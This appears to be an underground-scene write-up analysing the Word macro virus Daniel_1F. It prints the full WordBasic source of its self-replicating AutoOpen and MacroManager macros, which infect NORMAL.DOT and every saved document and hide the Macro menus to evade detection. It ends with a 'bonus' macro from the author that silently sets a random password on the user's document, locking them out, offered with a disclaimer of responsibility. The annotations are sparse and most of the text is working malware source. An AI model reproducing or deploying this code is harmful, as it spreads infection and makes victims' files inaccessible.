--------------------------------------------------------------
                            Analysis of the macro virus
                      Daniel_1F - Beta International Version
                             ,
                 By     <****{=============-
                             ' AuRoDrEpH, the Drow
      --------------------------------------------------------------

The other day, Dark Night send me an infected file. When you open it, with Word,
some phrases tell you that  :

        "This text file contains the  Word_Macro_Virus_Daniel_1F virus.
                Now your system is infected. Have a nice day!  "

True, the virus is in your NORMAL.DOT...but when you want to look the macro,
you are very surprised because the option "Macros" in the FILE and OPTIONS
Menu disappear. Interesting !!!

The virus is formed with 2 macros :
        AutoOpen (name in a file) or Word6Menu (name in NORMAL.DOT)
        MacroManager

Special gift : I put in the last part of the document a little macro that
                i wrote :-))
        
Now the source :
----------------------------------------------------------
Macro AutoOpen

PURPOSE:    To infected the system and modify some menu to avoid dectection ?

Sub MAIN
REM You've reached! Here is the virus. Enjoy.
REM This is the Word_Macro_Virus_Daniel_1F - Beta International Version.
REM Please Support the Virus Concept. Have a nice Day! (BR/US)

On Error Resume Next
                        *- when opening the file, direct infection of the
                                        NORMAL.DOT
MacroCopy FileName$(0) + ":AutoOpen", "Global:Word6Menu", 1
MacroCopy FileName$(0) + ":MacroManager", "Global:MacroManager", 1
                        *- modified a name of the WORD menu
T$ = MenuText$(0, 1)
H$ = MenuItemText$(T$, 0, 5)
M$ = "&Save"
                *- adapte the text for the portugese version of Word
If H$ = "ArquivoSalvar" Or H$ = "&Salvar" Then M$ = "&Salvar"
                *- delete the old menu "SAVE" and add the new one
                        (correspond to the second macro)
ToolsCustomizeMenus .Position = 5,  .Menu = T$,
        .Name = MenuItemMacro$(T$, 0, 5), .MenuText = H$, .Context = 0,
        .Remove
ToolsCustomizeMenus .Position = 5, .Category = 2,
        .Name = "MacroManager", .Menu = T$, .MenuText = M$, .Context = 0,
        .Add
ToolsCustomizeKeyboard .KeyCode = 339, .Category = 2, .Name = "MacroManager",
        .Add, .Context = 0
ToolsCustomizeKeyboard .KeyCode = 322, .Category = 2, .Name = "MacroManager",
        .Add, .Context = 0
                
                *- to avoid detection, classic now ;-)
ToolsOptionsSave .GlobalDotPrompt = 0
DisableAutoMacros 0
                *- Now, it deletes the OPTION/MACRO menu
T$ = TexteMenu$(0, 6)
M$ = "&Macro..."
G = 0
For n = 1 To CountMenuItems(T$, 0, 0)
        Y$ = MenuItemText$(T$, 0, n, 0)
        If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac"
        Then G = n
Next n
If G <> 0 Then H$ = MenuItemText$(T$, 0, G, 0)
If G <> 0 Then
        ToolsCustomizeMenus .Position = G,  .Menu = T$,
                .Name = MenuItemMacro$(T$, 0, G, 0), .MenuText = H$,
                .Context = 0, .Remove
        End if
T$ = MenuText$(1, 1)
M$ = "&Macro..."
G = 0
For n = 1 To CountMenuItems(T$, 1, 0)
        Y$ = MenuItemText$(T$, 1, n, 0)
        If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac" Then
                G = n
Next n
If G <> 0 Then H$ = MenuItemText$(T$, 1, G, 0)
If G <> 0 Then
        ToolsCustomizeMenus .MenuType = 1, .Position = G,  .Menu = T$,
                .Name = MenuItemMacro$(T$, 1, G, 0), .MenuText = H$,
                .Context = 0, .Remove
On Error Goto 0
End Sub
---------------------------------------------------
Macro MacroManager

PURPOSE:    To infected each file when you save it.

Sub MAIN
On Error Goto CX
                        *- protection for the autoexecute macro
DisableAutoMacros 0
                        *- to avoid the confirmation when the virus
                                infected the NORMAL.DOT
ToolsOptionsSave .GlobalDotPrompt = 0
                                                               
N$ = UCase$(Right$(FileName$(0), 3))
If N$ <> "DOC" And N$ <> "DOT" Then Goto CX
E = CountMacros(1)
X = 0
                        *- the virus searchs if the system is still infected
For i = 1 To E
        If MacroName$(i, 1) = "MacroManager" Then X = 1
        If MacroName$(i, 1) = "AutoOpen" Then X = 1
Next i
If X = 1 Then Goto CX    *- it's infected , exit
                         *- else it infected the system
FileSaveAs .Name = FileName$(0), .Format = 1, .AddToMru = 1, .EmbedFonts = 1
                         *- modifie the name of a macro
MacroCopy "Global:Word6Menu", FileName$(0) + ":AutoOpen", 1
MacroCopy "Global:MacroManager", FileName$(0) + ":MacroManager", 1
CX:
                        *- information of the creator of the virus
FileSummaryInfo .Keywords = "Daniel_Stone",
        .Comments = "All information should be free."
FileSave       *- save all the modifications
On Error Goto 0
End Sub
---------------------------------------

SPECIAL BONUS :
        I made a little interesting macro... i name it RANDOM...
        try it but analyse it before :-) I'm not responsable of the use...

Sub MAIN
On Error Goto err
        passwd$ = ""
        a = 10
        b = 20
        nbr = Int(Rnd() * (b - a) + a)
        For i = 1 To nbr
                a = 65
                b = 90
                char = Int(Rnd() * (b - a) + a)
                passwd$ = passwd$ + Chr$(char)
        Next
        ToolsOptionsSave .Passwd = passwd$
goto bye
err:
bye:
EndSub